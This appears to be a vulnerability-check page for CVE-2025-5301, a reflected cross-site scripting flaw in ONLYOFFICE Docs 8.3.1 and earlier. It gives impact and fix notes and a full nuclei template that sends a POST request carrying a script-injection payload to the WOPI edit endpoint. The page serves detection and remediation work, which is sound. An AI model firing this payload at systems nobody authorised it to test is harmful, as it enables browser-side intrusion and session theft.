ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

62.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

ONLYOFFICE Docs (DocumentServer) <= 8.3.1 contains a reflected XSS caused by improper sanitization of crafted HTTP POST requests via the WOPI protocol, letting attackers inject malicious scripts reflected in HTML response, exploit requires crafted POST requests.

Impact

Attackers can execute malicious scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.

Fix

Update to a version later than 8.3.1.

How to confirm it

Send: POST /hosting/wopi/word/edit?dchat=asdasd</script><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "{\"dchat\":", "</script><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2025-5301 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-5301

info:
  name: ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    ONLYOFFICE Docs (DocumentServer) <= 8.3.1 contains a reflected XSS caused by improper sanitization of crafted HTTP POST requests via the WOPI protocol, letting attackers inject malicious scripts reflected in HTML response, exploit requires crafted POST requests.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to a version later than 8.3.1.
  reference:
    - https://github.com/ONLYOFFICE/
    - https://seclists.org/fulldisclosure/2025/Jun/18
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5301
    - https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#832
    - https://r.sec-consult.com/onlyoffice
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-5301
    cwe-id: CWE-79
    epss-score: 0.62699
    epss-percentile: 0.99202
  metadata:
    verified: false
  tags: cve,cve2025,onlyoffice,xss,vuln,seclists

http:
  - raw:
      - |
        POST /hosting/wopi/word/edit?dchat=asdasd</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "{\"dchat\":", "</script><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from